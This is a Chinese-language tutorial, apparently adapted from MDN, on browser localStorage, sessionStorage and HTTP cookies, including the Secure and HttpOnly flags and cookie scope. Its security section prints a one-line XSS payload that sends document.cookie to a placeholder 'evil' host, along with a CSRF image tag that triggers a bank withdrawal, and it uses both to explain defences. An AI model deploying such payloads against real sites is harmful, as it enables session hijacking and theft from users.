window.localStorage
只读的localStorage属性允许你访问一个Document源的对象Storage;存储的数据将保存在浏览器会话中。localStorage类似sessionStorage,但区别在于:存储在localStorage的数据可以长期保留;而当页面会话结束-也就是说当页面关闭时,存储在sessionStorage的数据会被清除。
无论数据储存在localStorage还是sessionStorage,它们都特定于页面的协议
localStorage中的键值对总是以字符串的形式存储。(和js对象相比,键值对总是以字符串的形式存储,意味着数值类型会自动转化为字符串类型)
- 当前域名下的本地storage对象,并通过storage.setItem()增加了一个数据项目
localStorage.setItem('myCat', 'tom');
- 读取localStorage项
let cat = localStorage.getItem('myCat'); // tom
- 移除localStorage项
localStorage.removeItem('myCat');
- 移除所有localStorage项
localStorage.clear();
window.sessionStorage
sessionStorage属性允许你访问一个session Storage对象。它与localStorage相似,不同之处在于localStorage里面存储的数据没有过期时间设置,而存储在sessionStorage里面的数据在页面会话结束时会被清除。页面会话在浏览器打开期间一直保持,并且重新加载或恢复页面仍会保持原来的页面会话。
- 保存数据到 sessionStorage
sessionStorage.setItem('key', 'value');
- 获取sessionStorage项
sessionStorage.getItem('key'); // value
- 移除sessionStorage项
sessionStorage.removeItem('key');
- 移除sessionStorage所有项目
sessionStorage.clear();
使用 Web Storage API
- sessionStorage为每一个给定的源维持一个独立的存储区域,该存储区域在页面会话期间可用(即只要浏览器处于打开状态,包括页面重新加载和恢复)
- localStorage 同样的功能,但是在浏览器关闭,然后重新打开后数据仍然存在
Web Storage API 提供机制,使浏览器能以一种比使用Cookie更直观的方式存储键/值对。
Cookie
HTTP Cookie(也叫Web Cookie或浏览器Cookie)是服务器发送到用户浏览器并保存到本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。通常,它用于告知服务端两个请求是否来自同一客户端,如保持用户的登录状态。Cookie使基于无状态的HTTP协议记录稳定的状态信息成为了可能。
Cookie主要用于三个方面:
- 会话状态管理(如用户登录状态,购物车,游戏分数或者其他需要记录的信息)
- 个性化设置(如用户自定义设置,主题等)
- 浏览器行为跟踪(如跟踪用户行为等)
Cookie曾一度用于客户端数据的存储,因当时并没有其他合适的存储办法而作为唯一的存储手段,但现在随着现代浏览器开始支持各种各样的存储方式,Cookie渐渐被淘汰。
由于服务器指定Cookie后,浏览器的每次请求都会携带Cookie数据,会带来额外的性能开销(尤其是在移动端环境下)。新的浏览器API已经允许开发者直接将数据存储到本地,如Web Storage 或则 IndexedDB
创建cookie
当服务器收到HTTP请求时,服务器可以在响应头里面添加一个Set-Cookie选项。浏览器收到响应后通常会保存下Cookie,之后对该服务器每一次请求中都通过Cookie请求头部将Cookie信息发送给服务器。另外,Cookie的过期时间,域,路径等都可以根据需要来指定。
Set-Cookie响应头部和Cookie请求头部
服务器使用Set-Cookie响应头部向用户代理(一般是指浏览器)发送Cookie信息。一个简单地Cookie可能如下:
Set-Cookie: <cookie-name>=<cookie-value>
服务器通过该头部告知客户端保存Cookie信息
nodejs 设置Set-Cookie响应头信息
response.setHeader('Set-Cookie', ['type=niaja', 'language=javascript']);
例: 服务端响应头设置
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry
现在,对服务器发起的每一次请求,浏览器都会将之前保存的Cookie信息通过Cookie请求头再发送给服务器
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
会话期Cookie
会话期Cookie是最简单的Cookie: 浏览器关闭之后它会被自动删除,也就是说它仅在会话期内有效。
持久性Cookie
和关闭浏览器的会话期Cookie不同,持久性Cookie可以指定一个特定的过期时间(Expires)或有效期(Max-Age)
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
注意:当Cookie的过期时间被设定后,设定的日期时间只与客户端有关,而不是服务器
Cookie的Secure和HttpOnly标记
Secure
标记为secure的Cookie只应通过被HTTPS协议加密过的请求发送给服务端。但即便设置了Secure标记,敏感信息也不应该通过Cookie传输,因为Cookie有其固有的不安全性。可以将敏感信息存储在后端,可以根据cookie中传递过来的字段去服务端获取从Chrome52 和 Firefox 52开始,不安全的站点(http:)无法使用Cookie的secure标记。
HttpOnly
为避免跨域脚本XSS攻击,通过Javascript的Document.cookie无法访问带有HttpOnly标记的Cookie,它们只应该发送给服务端。如果包含服务端 Session 信息的 Cookie 不想被客户端 JavaScript 脚本调用,那么就应该为其设置 HttpOnly 标记。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
Cookie的作用域
Domain和Path标识定义了Cookie的作用域:即Cookie应该发送给哪些URL。如果不指定,默认为当前文档的主机(不包含子域名)。如果指定了Domin,则一般包含子域名。
例如,如果设置Domain=mozilla.org,则Cookie也包含在子域名中(如developer.mozilla.org)
Path标识指定了主机下的哪些路径可以接受Cookie,以字符 (“/”)作为路径分隔符,子路径也会被匹配。 例如,设置path=/docs,则以下地址都会匹配:
- /docs
- /docs/web/
- /docs/web/Http
JavaScript通过Document.cookies访问cookie
通过document.cookies属性可创建新的Cookie,也可通过该属性访问非HttpOnly标记的Cookie。
document.cookie = 'yummy_cookie=choco';
document.cookie = 'tasty_cookie=strawberry';
console.log(document.cookie); // "yummy_cookie=choco; tasty_cookie=strawberry"
cookie安全问题
会话劫持和XSS
在Web应用中,Cookie常用来标记用户或授权会话。因此,如果Web应用的Cookie被窃取,可能导致授权用户的会话受到攻击。常用的窃取Cookie的方法有利用社会工程学攻击和利用应用程序漏洞进行XSS攻击。
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
HttpOnly类型的Cookie由于阻止了JavaScript对其的访问性而能在一定程度上缓解此类攻击。
跨站请求伪造(CSRF)
比如在不安全聊天室或论坛上的一张图片,它实际上是一个给你银行服务器发送提现的请求:
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
当你打开含有了这张图片的HTML页面时,如果你之前已经登录了你的银行帐号并且Cookie仍然有效(还没有其它验证步骤),你银行里的钱很可能会被自动转走。有一些方法可以阻止此类事件的发生:
- 对用户输入进行过滤来阻止XSS;
- 任何敏感操作都需要确认;
- 用于敏感信息的Cookie只能拥有较短的生命周期;
防篡改签名(cookie如何防篡改)
服务器为每个Cookie项生成签名,如果用户篡改Cookie,则与签名无法对应上,以此来判断数据是否被篡改
原理如下:
- 服务端提供一个签名算法 secret
- 根据算法生成签名 secret(wall) = 34Yult8Ab
- 将生成的签名放入对应的Cookie项 username=wall|34Yult8Ab,其中,cookie值和签名用“|”隔开
- 服务器根据接收到的内容和签名,检验内容是否被篡改
参考文章: